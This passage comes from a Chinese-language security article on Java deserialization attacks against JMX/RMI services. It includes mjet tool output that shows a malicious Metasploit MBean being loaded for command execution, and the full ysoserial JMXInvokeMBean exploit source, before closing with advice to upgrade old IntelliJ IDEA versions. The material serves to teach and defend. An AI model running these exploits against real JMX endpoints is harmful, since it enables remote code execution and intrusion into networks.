再使用 mjet 工具,创建 MBean javax.management.loading.MLet 实例,并调用其 getMBeansFromURL 方法访问 MLet Server。最终实现了命令执行:

java -jar mjet.jar -t 192.168.178.200 -p 1616 -u  - Mogwai Security JMX Exploitation Toolkit 0.1---------------------------------------------------[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://192.168.178.200:1616/jmxrmi ...[+] Connected: rmi://192.168.178.164  5[+] Trying to create MLet bean...[+] Loaded javax.management.loading.MLet[+] Loading malicious MBean from [+] Invoking: javax.management.loading.MLet.getMBeansFromURL[+] Loaded class: metasploit.Metasploit[+] Loaded MBean Server ID: ptIIirfM:name=BlPwaoHu,id=oWTqfkbE[+] Invoking: metasploit.Metasploit.run()[+] Done
JMXInvokeMBean 模块

注册恶意 MBean 的攻击方法在 JMX 设置了权限认证时,就无法使用了。这时我们可以采用 JMX 自带的一些方法,触发反序列化,从而执行 Classpath 类库中的危险函数。

在 JMX 中有一个 java.util.logging:type=Logging 类,该类的 getLoggerLevel 函数会接收外部传入的数据,并对数据进行反序列化。这时就会触发 Classpath 类库中的危险函数。具体的实现逻辑已经被集成到 ysoserial 的 JMXInvokeMBean 模块中。具体的实现代码入下

package ysoserial.exploit;import javax.management.MBeanServerConnection;import javax.management.ObjectName;import javax.management.remote.JMXConnector;import javax.management.remote.JMXConnectorFactory;import javax.management.remote.JMXServiceURL;import ysoserial.payloads.ObjectPayload.Utils;/* * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. *  */public class JMXInvokeMBean {    public static void main(String[] args) throws Exception {        if ( args.length < 4 ) {            System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");            System.exit(-1);        }        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");        JMXConnector jmxConnector = JMXConnectorFactory.connect(url);        MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();        // create the payload        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);           ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");        mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});        //close the connection        jmxConnector.close();    }}

当然这种攻击方式,和直接攻击 RMI Registry 一样,需要 Classpath 中存在有效利用链。

这一威胁,可能导致攻击者通过生产网,渗透到办公网,再基于员工个人电脑上的敏感信息,继续扩大攻击效果。因此强烈建议大家把 IDEA 升级到最新版本。

小结

本节对 JDK 原生反序列化机制中最常用的 RMI 接口进行了介绍。其实 RMI 在安全领域的应用远不止文中描述的,因为很多大型中间件、框架,都是基于这两大接口来处理 RPC 调用的,比如说 Weblogic 就是在 RMI 基础上进行了增强。

本篇主要是概念、原理上的介绍,同时展示了如何通过 JMX 漏洞,在办公网中攻击老版本的 IDEA(2018.1-2018.3.6)。

其实像这样的攻击方法,对于 Java 攻防世界来说,只是冰山一角。哪怕现在大部分的 JDK 版本已经升级到了较高版本,仍然面临着各种反序列化漏洞衍生威胁。

如何优雅地应对 Java 反序列化漏洞?如何让业务不再匆忙迭代?如何让安全人员不再日夜应急?这仍然是一个业内难题。

看见高山的全貌,才有可能征服高山。希望能尽快完成这一系列文章,看见这座“Java 反序列化漏洞”高山的全貌。

标签: #打开网站出现localhost